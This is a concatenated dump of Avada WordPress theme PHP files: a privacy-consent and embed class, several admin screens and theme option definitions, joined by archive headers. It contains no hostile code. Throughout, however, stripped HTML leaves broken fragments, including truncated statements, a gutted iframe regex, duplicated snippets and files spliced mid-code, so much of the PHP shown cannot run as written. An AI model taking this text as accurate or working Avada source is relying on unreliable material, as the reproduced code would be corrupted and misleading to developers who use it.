$this->embed_types[ $key ]['label'] = $types_and_names[ $key ]; } } $this->embed_types = apply_filters( 'fusion_privacy_embeds', $this->embed_types ); $this->embed_defaults = $this->embed_types; } /** * Get embed type. * * @access public * @since 5.5.2 * @param string $name Name of embed type. * @param string $subkey Name of embed type sub key. * @return array */ public function get_embed_type( $name = '', $subkey = false ) { $key = esc_attr( strtolower( $name ) ); if ( ! $subkey && isset( $this->embed_types[ $key ] ) ) { return $this->embed_types[ $key ]; } elseif ( $subkey && isset( $this->embed_types[ $key ] ) && isset( $this->embed_types[ $key ][ $subkey ] ) ) { return $this->embed_types[ $key ][ $subkey ]; } return false; } /** * Get embed default types. * * @access public * @since 5.5.2 * @param boolean $simple If you need simplified version. * @return array */ public function get_embed_defaults( $simple = false ) { if ( $simple && is_array( $this->embed_defaults ) ) { $simplified = []; foreach ( $this->embed_defaults as $key => $embed ) { $simplified[ $key ] = $embed['label']; } return $simplified; } return $this->embed_defaults; } /** * Get embed types. * * @access public * @since 5.5.2 * @return array */ public function get_embed_types() { return $this->embed_types; } /** * Updates embed types. * * @access public * @since 5.5.2 * @return void */ public function update_embed_types() { $defaults = $this->get_embed_defaults(); $selected = $this->options['privacy_embed_types']; $update = []; if ( is_array( $selected ) ) { foreach ( $selected as $embed ) { if ( isset( $defaults[ $embed ] ) ) { $update[ $embed ] = $defaults[ $embed ]; } } } $this->embed_types = $update; } /** * Set default consents. * * @access public * @since 5.6 * @return void */ public function set_default_consents() { $this->default_consents = $this->options['privacy_embed_defaults']; } /** * Set consents from cookie. * * @access public * @since 5.5.2 * @param array $consents Consents which you want to save. * @return void */ public function set_consents( $consents = false ) { $cookie_name = $this->cookie_args['name']; if ( ! $consents ) { $consents = []; if ( isset( $_COOKIE ) && isset( $_COOKIE[ $cookie_name ] ) ) { $consents = wp_unslash( $_COOKIE[ $cookie_name ] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput } } if ( ! is_array( $consents ) ) { $consents = explode( ',', $consents ); } $this->consents = $consents; $this->set_all_consents(); } /** * Checks if embed type should be selected. * * @access public * @since 5.6 * @param string $type Name of embed type. * @return boolean */ public function is_selected( $type ) { $consents = $this->get_consents(); $defaults = $this->get_default_consents(); // If consent has been given. if ( in_array( $type, $consents ) ) { // phpcs:ignore WordPress.PHP.StrictInArray return true; } // No consent but is within default selection. if ( empty( $consents ) && in_array( $type, $defaults ) ) { // phpcs:ignore WordPress.PHP.StrictInArray return true; } return false; } /** * Get privacy bar content. * * @access public * @since 5.6 * @return array */ public function get_privacy_content() { $content = $this->options['privacy_bar_content']; $formatted = []; if ( isset( $content['title'] ) && is_array( $content['title'] ) ) { foreach ( $content['title'] as $key => $content_id ) { $data = [ 'type' => isset( $content['type'][ $key ] ) ? $content['type'][ $key ] : 'custom', 'title' => isset( $content['title'][ $key ] ) ? $content['title'][ $key ] : '', 'description' => isset( $content['description'][ $key ] ) ? $content['description'][ $key ] : '', ]; $formatted[] = $data; } } return $formatted; } /** * Set consents from cookie. * * @access public * @since 5.5.2 * @return void */ public function set_all_consents() { $embeds = $this->get_embed_types(); $consents = $this->get_consents(); foreach ( $embeds as $key => $embed ) { if ( ! $this->get_consent( $key ) ) { $this->all_consents = false; return; } } $this->all_consents = true; } /** * Get consents. * * @access public * @since 5.5.2 * @return array */ public function get_consents() { return $this->consents; } /** * Get default consents. * * @access public * @since 5.5.2 * @return array */ public function get_default_consents() { return $this->default_consents; } /** * Get specific consent. * * @access public * @since 5.5.2 * @param string $name Name of embed type. * @return array */ public function get_consent( $name = '' ) { $key = esc_attr( strtolower( $name ) ); if ( ! array_key_exists( $key, $this->embed_types ) && 'consent' !== $key ) { return true; } return in_array( $key, $this->consents ); // phpcs:ignore WordPress.PHP.StrictInArray } /** * Save consent. * * @access public * @since 5.5.2 * @param string $name Name of embed type. * @return void */ public function add_consent( $name = '' ) { $consents = $this->consents; $consents[] = strtolower( esc_attr( $name ) ); $consents = array_unique( $consents ); $this->consents = $consents; $this->save_cookie(); } /** * Remove specific consent. * * @access public * @since 5.5.2 * @param string $name Name of embed type. * @return void */ public function remove_consent( $name = '' ) { $consents = $this->consents; $key = esc_attr( strtolower( $name ) ); if ( '' !== $name && isset( $consents[ $name ] ) ) { unset( $consents[ $name ] ); } $this->set_consents( $consents ); $this->save_cookie(); } /** * Save cookie. * * @access public * @since 5.5.2 * @param array $consents Consents which you want to save. * @return void */ public function save_cookie( $consents = false ) { $cookie_args = $this->cookie_args; // If passing on consents, set them first. if ( $consents ) { $this->set_consents( $consents ); } $consents = $this->consents; if ( is_array( $consents ) ) { $consents = implode( ',', $consents ); } $time = strtotime( '+' . $cookie_args['days'] . ' days' ); setcookie( $cookie_args['name'], $consents, $time, $cookie_args['path'] ); } /** * Clears the saved cookie. * * @access public * @since 5.5.2 * @return void */ public function clear_cookie() { $cookie_name = $this->cookie_args['name']; if ( isset( $_COOKIE ) && isset( $_COOKIE[ $cookie_name ] ) ) { unset( $_COOKIE[ $cookie_name ] ); setcookie( $cookie_name, '', time() - 3600, '/' ); $this->consents = []; } } /** * Search string. * * @access public * @since 5.5.2 * @param string $type Embed type. * @param string $src Url src for embed. * @return string */ public function search( $type, $src = '' ) { $embed = $this->get_embed_type( $type ); if ( ! $embed ) { return false; } if ( isset( $embed['search'] ) && is_string( $embed['search'] ) ) { return ( strpos( $src, $embed['search'] ) ); } if ( isset( $embed['search'] ) && is_array( $embed['search'] ) ) { foreach ( $embed['search'] as $search ) { if ( strpos( $src, $search ) ) { return true; } } } return false; } /** * Replaces iframe src with temporary. * * @access public * @since 5.5.2 * @param string $src Url src for embed. * @return string */ public function get_src_type( $src = '' ) { $embed_types = (array) $this->embed_types; foreach ( $embed_types as $name => $embed ) { if ( $this->search( $name, $src ) ) { return $name; } } return false; } /** * Replace in shortcodes. * * @access public * @since 5.5.2 * @param string $output Shortcode output. * @param string $tag Shortcode name. * @param array|string $attr Shortcode attributes array or empty string. * @param array $m Regular expression match array. * @return string */ public function shortcode_replace( $output, $tag, $attr, $m ) { return $this->replace( $output ); } /** * Replaces iframe src with temporary. * * @access public * @since 5.5.2 * @param string $content HTML content to filter. * @return string */ public function replace( $content ) { global $fusion_library; // Iframe replacements. preg_match_all( '/\s*<\/iframe>/isU', $content, $iframes ); if ( array_key_exists( 1, $iframes ) ) { foreach ( $iframes[0] as $key => $frame ) { $src = $iframes[1][ $key ]; $orig = $frame; // Its already been filtered. if ( strpos( $frame, 'data-privacy-src' ) ) { continue; } // Remove whitespace and line breaks between attributes, needed e.g. for TEC. $frame = preg_replace( "/\n\s*\t*/", ' ', $frame ); // If "Avada" lazy-loading method is applied, then get the original src from 'data-orig-src'. if ( $fusion_library->get_images_obj()->is_avada_iframe_lazy_load_enabled() && is_string( $frame ) && preg_match( '/<\/iframe>/isU', $frame, $lazy_loading_matches ) ) { // Also replace the src with the lazy-loading src. // This will make privacy script and lazy-loading script work no matter they order of execution. $frame = str_replace( ' src="' . $src . '"', ' src="' . $lazy_loading_matches[1] . '"', $frame ); $src = $lazy_loading_matches[1]; } // Check the iframe type and continue if not one of ours. $type = $this->get_src_type( $src ); if ( ! $type ) { continue; } // Check if we already have consent. if ( $this->get_consent( $type ) ) { continue; } // Replace src with data attribute. $frame = str_replace( $src, '$$temp$$', $frame ); $frame = str_replace( ' src=', ' data-privacy-src=', $frame ); $frame = str_replace( '$$temp$$', $src, $frame ); $frame = str_replace( ' <?php esc_html_e( 'Avada Welcome Image', 'Avada' ); ?>

get_admin_screens_footer(); ?> Avada/includes/admin-screens/prebuilt-websites-import-modal.php000064400000012157152342437700020717 0ustar00 Avada/includes/admin-screens/plugins.php000064400000023103152342437700014316 0ustar00plugins; // phpcs:ignore WordPress.WP.GlobalVariablesOverride $installed_plugins = get_plugins(); $wp_api_plugins = get_site_transient( 'fusion_wordpress_org_plugins' ); $required_and_recommened_plugins = avada_get_required_and_recommened_plugins(); if ( ! function_exists( 'plugins_api' ) ) { include_once ABSPATH . 'wp-admin/includes/plugin-install.php'; // For plugins_api. } if ( ! $wp_api_plugins ) { $wp_org_plugins = [ 'pwa' => 'pwa/pwa.php', 'woocommerce' => 'woocommerce/woocommerce.php', 'the-events-calendar' => 'the-events-calendar/the-events-calendar.php', 'wordpress-seo' => 'wordpress-seo/wp-seo.php', 'leadin' => 'leadin/leadin.php', 'bbpress' => 'bbpress/bbpress.php', ]; $wp_api_plugins = []; foreach ( $wp_org_plugins as $slug => $path ) { // phpcs:ignore WordPress.WP.GlobalVariablesOverride $wp_api_plugins[ $slug ] = (array) plugins_api( 'plugin_information', [ 'slug' => $slug, ] ); unset( $wp_api_plugins[ $slug ]['contributors'] ); unset( $wp_api_plugins[ $slug ]['sections'] ); } set_site_transient( 'fusion_wordpress_org_plugins', $wp_api_plugins, 15 * MINUTE_IN_SECONDS ); } ?>

product is registered.', 'Avada' ), // phpcs:ignore WordPress.Security.EscapeOutput esc_url( admin_url( 'admin.php?page=avada' ) ) ); ?>

registration->should_show( 'plugins' ) ) : ?>

' . esc_attr__( 'Product Registration', 'Avada' ) . '' ); ?>

' . esc_attr__( 'System Status', 'Avada' ) . '', '' . esc_attr__( 'Plugin Installation', 'Avada' ) . '', '' . esc_attr__( 'Support Dashboard', 'Avada' ) . '' ); ?>

plugin_link( $plugin_args ); // We have a repo plugin. if ( ! $plugin_args['version'] ) { $plugin_args['version'] = Avada_TGM_Plugin_Activation::$instance->does_plugin_have_update( $plugin_args['slug'] ); } if ( fusion_is_plugin_activated( $file_path ) ) { $plugin_status = 'active'; $class = 'active'; } if ( isset( $plugin_action['update'] ) && $plugin_action['update'] ) { $class .= ' update'; } $required_premium = ''; ?>
<?php esc_attr( $plugin_args['plugin_name'] ); ?>

%3$s', 'Avada' ), esc_html( $installed_plugins[ $plugin_args['file_path'] ]['Version'] ), esc_url_raw( $installed_plugins[ $plugin_args['file_path'] ]['AuthorURI'] ), esc_html( $installed_plugins[ $plugin_args['file_path'] ]['Author'] ) ); // phpcs:ignore WordPress.Security.EscapeOutput ?> {$plugin_args['Author']}" : false; $author = ( isset( $wp_api_plugins[ $plugin_args['slug'] ] ) && isset( $wp_api_plugins[ $plugin_args['slug'] ]['author'] ) ) ? $wp_api_plugins[ $plugin_args['slug'] ]['author'] : $author; ?>

get_admin_screens_footer(); ?> Avada/includes/admin-screens/setup.php000064400000200265152342437700014003 0ustar00 get_admin_screens_header( 'setup' ); ?> get_typo_sets(); $settings = awb_get_fusion_settings(); $options = apply_filters( 'fusion_settings_all_fields', [] ); $the_user = wp_get_current_user(); $completed_reg = Avada()->registration->appear_registered() ? ' avada-db-completed avada-db-onload-completed' : ''; ?>

display_name ) ) ) ); // phpcs:ignore WordPress.Security.EscapeOutput ?>

<?php esc_html_e( 'Avada Welcome Image', 'Avada' ); ?>
registration->the_form(); ?>


<?php esc_html_e( 'Avada Welcome Image', 'Avada' ); ?>

<?php esc_html_e( 'Avada Welcome Image', 'Avada' ); ?>

get_admin_screens_footer(); ?> Avada/includes/admin-screens/prebuilt-websites-demo.php000064400000013013152342437700017227 0ustar00'; $import_form .= '

'; $remove_form = '
'; foreach ( $import_stages as $import_stage ) { $import_checked = ''; $remove_disabled = 'disabled'; $data = ''; if ( ! empty( $import_stage['plugin_dependency'] ) && empty( $demo_details['plugin_dependencies'][ $import_stage['plugin_dependency'] ] ) ) { continue; } if ( ! empty( $import_stage['feature_dependency'] ) && ! in_array( $import_stage['feature_dependency'], $demo_details['features'] ) ) { // phpcs:ignore WordPress.PHP.StrictInArray continue; } if ( ! empty( $imported_data[ $import_stage['value'] ] ) ) { if ( in_array( strtolower( $demo ), $imported_data[ $import_stage['value'] ] ) ) { // phpcs:ignore WordPress.PHP.StrictInArray $import_checked = 'checked="checked" disabled'; $remove_disabled = 'checked="checked"'; $demo_imported = true; } } if ( ! empty( $import_stage['data'] ) ) { $data = 'data-type="' . esc_attr( $import_stage['data'] ) . '"'; } $import_form .= '

'; $remove_form .= '

'; } $import_form .= '
'; $remove_form .= ''; if ( isset( $_GET['page'] ) && 'avada-prebuilt-websites' === $_GET['page'] ) { //phpcs:ignore WordPress.Security.NonceVerification // Websites screen. $install_button_label = ! $demo_imported ? __( 'Import', 'Avada' ) : __( 'Modify', 'Avada' ); $install_button_classes = 'button-install-open-modal'; } else { // Setup screen. $install_button_label = __( 'Select', 'Avada' ); $install_button_classes = 'button-select-prebuilt'; } if ( ! empty( $imported_data['all'] ) && in_array( strtolower( $demo ), $imported_data['all'] ) ) { // phpcs:ignore WordPress.PHP.StrictInArray $demo_import_badge = __( 'Full Import', 'Avada' ); } else { $demo_import_badge = __( 'Partial Import', 'Avada' ); } $new_imported = ''; $tags = true === $demo_imported ? $tags . ',imported' : $tags; ?>
>

theme_url . str_replace( '_', '-', $demo ); ?>
Avada/includes/admin-screens/content-step-svgs.php000064400001700223152342437700016246 0ustar00 ' ', 'about' => ' ', 'contact' => ' ', 'services' => ' ', 'blog' => ' ', 'shop' => ' ', 'portfolio' => ' ', 'reviews' => ' ', ]; Avada/includes/admin-screens/status.php000064400000134405152342437700014170 0ustar00 get_admin_screens_header( 'status' ); ?>

$value ) { if ( ! $value ) { unset( $previous_version[ $key ] ); } } $previous_versions_array = $previous_version; $previous_version_string = array_slice( $previous_version, -3, 3, true ); $previous_version_string = implode( ' ', array_map( 'esc_attr', $previous_version_string ) ); } ?>
  theme_version ); ?>
 
=' ) && version_compare( $previous_versions_array[ $versions_count - 2 ], '4.0.0', '<=' ) ) { $force_hide_400_migration = true; } } if ( ! empty( $previous_version ) ) { if ( is_array( $previous_version ) ) { foreach ( $previous_version as $ver ) { $ver = Avada_Helper::normalize_version( $ver ); if ( version_compare( $ver, '4.0.0', '<' ) ) { $show_400_migration = true; $last_pre_4_version = $ver; } if ( version_compare( $ver, '5.0.0', '<' ) ) { $show_500_migration = true; $last_pre_5_version = $ver; } $last_version = $ver; } } else { $previous_version = Avada_Helper::normalize_version( $previous_version ); if ( version_compare( $previous_version, '4.0.0', '<' ) ) { $show_400_migration = true; $last_pre_4_version = $previous_version; } if ( version_compare( $previous_version, '5.0.0', '<' ) ) { $show_500_migration = true; $last_pre_5_version = $previous_version; } $last_version = $previous_version; } } ?>

theme_version ) ); ?>
 
theme_version ) ); ?>
=' ) && defined( 'FUSION_CORE_VERSION' ) && version_compare( FUSION_CORE_VERSION, '5.7', '>=' ) ) : ?>
 
 
 

 
get( 'upload_image_format' ); $mime_types = 'webp' === $format ? [ 'image/jpeg', 'image/jpg', 'image/png', 'image/gif' ] : [ 'image/jpeg', 'image/jpg', 'image/png', 'image/gif', 'image/webp' ]; $total_images = array_sum( array_intersect_key( (array) wp_count_attachments( 'image' ), array_flip( $mime_types ) ) ); $styles = ( 'webp' !== $format && 'avif' !== $format ) || ! Fusion_Images::get_target_format() || 0 === $total_images ? 'pointer-events: none; opacity: 0.7;' : ''; ?>

IMPORTANT: Updating to Avada 4.0 and 5.0 requires a conversion process to ensure your content is compatible with the new version. This is an automatic process that happens upon update. In rare situations, you may need to rerun conversion if there was an issue through the automatic process. The controls below allow you to do this if needed. Please contact our support team through a ticket if you have any questions or need assistance.', 'Avada' ), 'https://avada.com/documentation/how-to-register-for-avada-support/' ); // phpcs:ignore WordPress.Security.EscapeOutput ?>

 
 
$post_type ) { // phpcs:ignore WordPress.WP.GlobalVariablesOverride if ( ! post_type_exists( $post_type ) ) { unset( $post_types[ $key ] ); } } // Build the query array. $args = [ 'posts_per_page' => 1, 'orderby' => 'ID', 'order' => 'DESC', 'post_type' => $post_types, 'post_status' => 'any', ]; // The query to get posts that meet our criteria. $posts = fusion_cached_get_posts( $args ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride $current_step = get_option( 'avada_migration_cleanup_id', false ); $total_steps = $posts[0]->ID; ?>

[?]'; ?>
[?]'; ?>
[?]'; ?>
[?]'; ?>
[?]'; ?>
[?]'; ?>
[?]'; ?> 128MB. Please define memory limit in wp-config.php file. To learn how, see: Increasing memory allocated to PHP.', 'Avada' ), esc_attr( size_format( $memory ) ), 'http://codex.wordpress.org/Editing_wp-config.php#Increasing_memory_allocated_to_PHP' ); // phpcs:ignore WordPress.Security.EscapeOutput ?>
[?]'; ?>
[?]'; ?>

'0', ]; foreach ( $registered_navs as $handle => $registered_nav ) { $menu = wp_get_nav_menu_object( $registered_nav ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride if ( $menu ) { $menu_items_count[] = $menu->count; } } $max_items = max( $menu_items_count ); if ( Avada()->settings->get( 'disable_megamenu' ) ) { $required_input_vars = $max_items * 20; } else { $required_input_vars = $max_items * 12; } ?> '0', ]; foreach ( $registered_navs as $handle => $registered_nav ) { $menu = wp_get_nav_menu_object( $registered_nav ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride if ( $menu ) { $menu_items_count[] = $menu->count; } } $max_items = max( $menu_items_count ); if ( Avada()->settings->get( 'disable_megamenu' ) ) { $required_input_vars = $max_items * 20; } else { $required_input_vars = $max_items * 12; } ?> '0', ]; foreach ( $registered_navs as $handle => $registered_nav ) { $menu = wp_get_nav_menu_object( $registered_nav ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride if ( $menu ) { $menu_items_count[] = $menu->count; } } $max_items = max( $menu_items_count ); if ( Avada()->settings->get( 'disable_megamenu' ) ) { $required_input_vars = $max_items * 20; } else { $required_input_vars = ini_get( 'suhosin.request.max_vars' ); } ?> false, 'user-agent' => 'avada-remote-get-test', ] ); ?> false, 'user-agent' => 'avada-remote-get-test', ] ); ?>
[?]'; ?>
[?]'; ?> = 0 ) { $message = $php_version; } else { $message = sprintf( /* translators: %1$s: Current PHP version. %2$s: Recommended PHP version. %3$s: "WordPress Requirements" link. */ esc_html__( '%1$s. WordPress recommendation: %2$s or above. See %3$s for details.', 'Avada' ), $php_version, '7.3', '' . esc_html__( 'WordPress Requirements', 'Avada' ) . '' ); } } echo $message; // phpcs:ignore WordPress.Security.EscapeOutput ?>
[?]'; ?>
[?]'; ?> $time_limit && 0 != $time_limit ) { // phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison /* translators: %1$s: Current value. %2$s: URL. */ echo '' . sprintf( __( '%1$s - We recommend setting max execution time to at least 180.
See: Increasing max execution to PHP', 'Avada' ), $time_limit, 'https://wordpress.org/support/article/common-wordpress-errors/#specific-error-messages' ) . '
'; // phpcs:ignore WordPress.Security.EscapeOutput } else { echo '' . esc_attr( $time_limit ) . ''; } ?>
[?]'; ?> ' . sprintf( __( '%1$s - Recommended Value: %2$s.
Max input vars limitation will truncate POST data such as menus. See: Increasing max input vars limit.', 'Avada' ), $max_input_vars, '' . $required_input_vars . '', 'http://sevenspark.com/docs/ubermenu-3/faqs/menu-item-limit' ) . ''; // phpcs:ignore WordPress.Security.EscapeOutput } else { echo '' . esc_html( $max_input_vars ) . ''; } ?>
[?]
[?]'; ?> ' . sprintf( __( '%1$s - Recommended Value: %2$s.
Max input vars limitation will truncate POST data such as menus. See: Increasing max input vars limit.', 'Avada' ), $max_input_vars, '' . ( $required_input_vars ) . '', 'http://sevenspark.com/docs/ubermenu-3/faqs/menu-item-limit' ) . ''; // phpcs:ignore WordPress.Security.EscapeOutput } else { echo '' . esc_html( $max_input_vars ) . ''; } ?>
[?]'; ?> ' . sprintf( __( '%1$s - Recommended Value: %2$s.
Max input vars limitation will truncate POST data such as menus. See: Increasing max input vars limit.', 'Avada' ), $max_input_vars, '' . ( $required_input_vars + ( 500 + 1000 ) ) . '', 'http://sevenspark.com/docs/ubermenu-3/faqs/menu-item-limit' ) . ''; // phpcs:ignore WordPress.Security.EscapeOutput } else { echo '' . esc_html( $max_input_vars ) . ''; } ?>
[?]'; ?> ' . sprintf( __( '%1$s - Recommended Value: %2$s.
Post Max Value Length limitation may prohibit the Global Options data from being saved to your database. See: Suhosin Configuration Info.', 'Avada' ), $suhosin_max_value_length, '' . $recommended_max_value_length . '', 'http://suhosin.org/stories/configuration.html' ) . ''; // phpcs:ignore WordPress.Security.EscapeOutput } else { echo '' . esc_attr( $suhosin_max_value_length ) . ''; } ?>
[?]'; ?> ✔' : 'ZipArchive is not installed on your server, but is required if you need to import demo content.'; ?>
[?]'; ?> ✔' : 'cURL is not installed or enabled on your server, but is required for several key WordPress features.'; ?>
[?]'; ?> ✔' : 'PHP mail is not installed or enabled on your server, but is required for sending emails without additional plugins. For an alternative sending method please read our guide on setting up SMTP for email.'; ?>
[?]'; ?> db_version() ); ?>
[?]'; ?>
[?]'; ?> ✔' : 'DOMDocument is not installed on your server, but is required if you need to use the Avada Builder.'; ?>
[?]'; ?> = 200 && $response['response']['code'] < 300 ) ? '' : 'wp_remote_get() failed. Some theme features may not work. Please contact your hosting provider and make sure that https://build.envato.com/api/ is not blocked.'; ?>
[?]'; ?> = 200 && $response['response']['code'] < 300 ) ? '' : 'wp_remote_post() failed. Some theme features may not work. Please contact your hosting provider and make sure that https://www.google.com/recaptcha/api/siteverify is not blocked.'; ?>
[?]'; ?>

[?]'; ?>
[?]'; ?>

>' . esc_html( $plugin_data['Name'] ) . ''; } else { $plugin_name = esc_html( $plugin_data['Name'] ); } ?>
  ([^>]*)#i', '$1', $plugin_data['AuthorName'] ); ?> ' . esc_html( $author_name ) . '' ) . ' – ' . esc_html( $plugin_data['Version'] ) . $version_string . $network_string; ?>
get_admin_screens_footer(); ?> Avada/includes/admin-screens/prebuilt-websites.php000064400000022651152342437700016315 0ustar00 registration->should_show( 'prebuilt' ) ) : ?>

' . esc_html__( 'System Status', 'Avada' ) . '', '' . esc_attr__( 'View more info here', 'Avada' ) . '' ); ?>

get_websites(); $all_tags = AWB_Prebuilt_Websites()->get_tags(); $imported_demos_count = AWB_Prebuilt_Websites()->get_imported_websites(); $plugin_dependencies = AWB_Prebuilt_Websites()->get_plugins_info(); ?>
$demo_details ) { // Loop through all available demos. include Avada::$template_dir_path . '/includes/admin-screens/prebuilt-websites-demo.php'; } ?>

' . esc_attr__( 'Product Registration', 'Avada' ) . '' ); ?>

get_admin_screens_footer(); ?> Avada/includes/admin-screens/support.php000064400000014125152342437700014355 0ustar00

extended through subscription via ThemeForest (more information on support extension). To access Avada support, you must first setup an account by following these steps.', 'Avada' ), 'href="http://bit.ly/2l3jd8A" target="_blank"', 'href="https://help.market.envato.com/hc/en-us/articles/207886473-Extending-and-Renewing-Item-Support" target="_blank"', 'href="https://avada.com/documentation/how-to-register-for-avada-support/" target="_blank"' ); // phpcs:ignore WordPress.Security.EscapeOutput ?>

get_admin_screens_footer(); ?> Avada/includes/admin-screens/performance.php000064400000143025152342437700015144 0ustar00 get_admin_screens_header( 'performance' ); ?> get_results( "SELECT COUNT(*) AS posts_count FROM {$wpdb->posts} WHERE post_status = 'publish' OR post_status = 'draft'", ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching $posts_count = isset( $results[0]['posts_count'] ) ? $results[0]['posts_count'] : 0; // Set cache. wp_cache_set( 'awb_performance_posts_count', $posts_count ); } ?>

<?php esc_html_e( 'Performance Wizard' ); ?>
get_admin_screens_footer(); ?> Avada/includes/options/colors.php000064400000005704152342437700013110 0ustar00 esc_html__( 'Colors', 'Avada' ), 'id' => 'colors', 'priority' => 3, 'icon' => 'el-icon-brush', 'alt_icon' => 'fusiona-color-dropper', 'fields' => [ 'colors_important_note_info' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: This tab contains general color options. Additional color options for specific areas, can be found within other tabs. Example: For menu color options go to the menu tab.', 'Avada' ) . '
', 'id' => 'colors_important_note_info', 'type' => 'custom', 'hide_on_front' => true, ], 'color_palette' => [ 'label' => esc_html__( 'Color Palette', 'Avada' ), 'description' => __( 'Set your global color palette. The colors defined here can be used from other global options, from page options and element options. For best results, the 8 colors of the core palette should be set from lightest to darkest. IMPORTANT NOTE: If a global color that is used by other options gets deleted, these corresponding options will display a default color instead. Colors are internally stored with a fixed counter. Thus, adding a new color after deleting an old one, will set the same internal name to the new color.', 'Avada' ), 'id' => 'color_palette', 'default' => AWB_Global_Colors()->get_defaults(), 'type' => 'color-palette', ], 'primary_color' => [ 'label' => esc_html__( 'Primary Color', 'Avada' ), 'description' => esc_html__( 'Controls the main highlight color throughout the website.', 'Avada' ), 'id' => 'primary_color', 'default' => 'var(--awb-color5)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--primary_color', 'callback' => [ 'sanitize_color' ], ], [ 'name' => '--primary_color-85a', 'callback' => [ 'color_alpha_set', '0.85' ], ], [ 'name' => '--primary_color-7a', 'callback' => [ 'color_alpha_set', '0.7' ], ], [ 'name' => '--primary_color-5a', 'callback' => [ 'color_alpha_set', '0.5' ], ], [ 'name' => '--primary_color-35a', 'callback' => [ 'color_alpha_set', '0.35' ], ], [ 'name' => '--primary_color-2a', 'callback' => [ 'color_alpha_set', '0.2' ], ], ], ], ], ]; return $sections; } Avada/includes/options/page_title_bar.php000064400000046641152342437700014555 0ustar00 esc_html__( 'Page Title Bar', 'Avada' ), 'id' => 'heading_page_title_bar', 'priority' => 7, 'icon' => 'el-icon-adjust-alt', 'alt_icon' => 'fusiona-page_title', 'fields' => [ 'page_title_bar_template_override_notice' => class_exists( 'Fusion_Template_Builder' ) ? [ 'id' => 'page_title_bar_template_override_notice', 'label' => '', 'description' => sprintf( /* translators: 1: Content|Footer|Page Title Bar. 2: URL. */ '
' . __( 'IMPORTANT NOTE: The options on this tab are not available because a global %1$s override is currently used. To edit your global layout please visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['page_title_bar']['label'], admin_url( 'admin.php?page=avada-layouts' ) ), 'hidden' => ! $has_global_ptb, 'type' => 'custom', ] : [], 'page_title_bar_template_notice' => [ 'id' => 'page_title_bar_template_notice', 'label' => '', 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: %1$s: Content|Footer|Page Title Bar. %2$s: Layout selection URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant setup, we recommend using the %1$s Builder to create a custom %1$s Layout. visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['page_title_bar']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'page_title_bar' => [ 'label' => esc_html__( 'Page Title Bar', 'Avada' ), 'description' => esc_html__( 'Controls how the page title bar displays.', 'Avada' ), 'id' => 'page_title_bar', 'default' => 'hide', 'hidden' => $has_global_ptb, 'choices' => [ 'bar_and_content' => esc_html__( 'Show Bar and Content', 'Avada' ), 'content_only' => esc_html__( 'Show Content Only', 'Avada' ), 'hide' => esc_html__( 'Hide', 'Avada' ), ], 'type' => 'select', 'partial_refresh' => [ 'page_title_bar_contents_page_title_bar' => [ 'selector' => '.avada-page-titlebar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'page_titlebar_wrapper' ], 'success_trigger_event' => 'fusion-ptb-refreshed', 'skip_for_template' => [ 'page_title_bar' ], ], ], 'output' => [ // Change classes in . [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'avada-has-titlebar-$', 'remove_attrs' => [ 'avada-has-titlebar-hide', 'avada-has-titlebar-bar_and_content', 'avada-has-titlebar-content_only' ], ], ], ], 'page_title_bar_bs' => [ 'label' => esc_html__( 'Breadcrumbs / Search Bar Content Display', 'Avada' ), 'description' => esc_html__( 'Controls what displays in the breadcrumbs area. ', 'Avada' ), 'id' => 'page_title_bar_bs', 'default' => 'breadcrumbs', 'hidden' => $has_global_ptb, 'type' => 'radio-buttonset', 'choices' => [ 'none' => esc_html__( 'None', 'Avada' ), 'breadcrumbs' => esc_html__( 'Breadcrumbs', 'Avada' ), 'search_box' => esc_html__( 'Search Bar', 'Avada' ), ], 'soft_dependency' => true, 'partial_refresh' => [ 'page_title_bar_contents_breadcrumb_show_post_type_archive' => [ 'selector' => '.avada-page-titlebar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'page_titlebar_wrapper' ], 'success_trigger_event' => 'fusion-ptb-refreshed', 'skip_for_template' => [ 'page_title_bar' ], ], ], ], 'page_title_bar_text' => [ 'label' => esc_html__( 'Page Title Bar Headings', 'Avada' ), 'description' => esc_html__( 'Turn on to display the page title bar headings.', 'Avada' ), 'id' => 'page_title_bar_text', 'default' => '1', 'hidden' => $has_global_ptb, 'type' => 'switch', 'soft_dependency' => true, 'partial_refresh' => [ 'page_title_bar_contents_page_title_bar_text' => [ 'selector' => '.avada-page-titlebar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'page_titlebar_wrapper' ], 'success_trigger_event' => 'fusion-ptb-refreshed', 'skip_for_template' => [ 'page_title_bar' ], ], ], ], 'page_title_bar_styling_title' => [ 'label' => esc_html__( 'Page Title Bar Styling', 'Avada' ), 'description' => '', 'id' => 'page_title_bar_styling_title', 'hidden' => $has_global_ptb, 'icon' => true, 'type' => 'info', ], 'page_title_100_width' => [ 'label' => esc_html__( 'Page Title Bar 100% Width', 'Avada' ), 'description' => esc_html__( 'Turn on to have the page title bar area display at 100% width according to the viewport size. Turn off to follow site width.', 'Avada' ), 'id' => 'page_title_100_width', 'default' => '0', 'hidden' => $has_global_ptb, 'type' => 'switch', 'soft_dependency' => true, 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-pagetitle-100-width', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'page_title_height' => [ 'label' => esc_html__( 'Page Title Bar Height', 'Avada' ), 'description' => esc_html__( 'Controls the height of the page 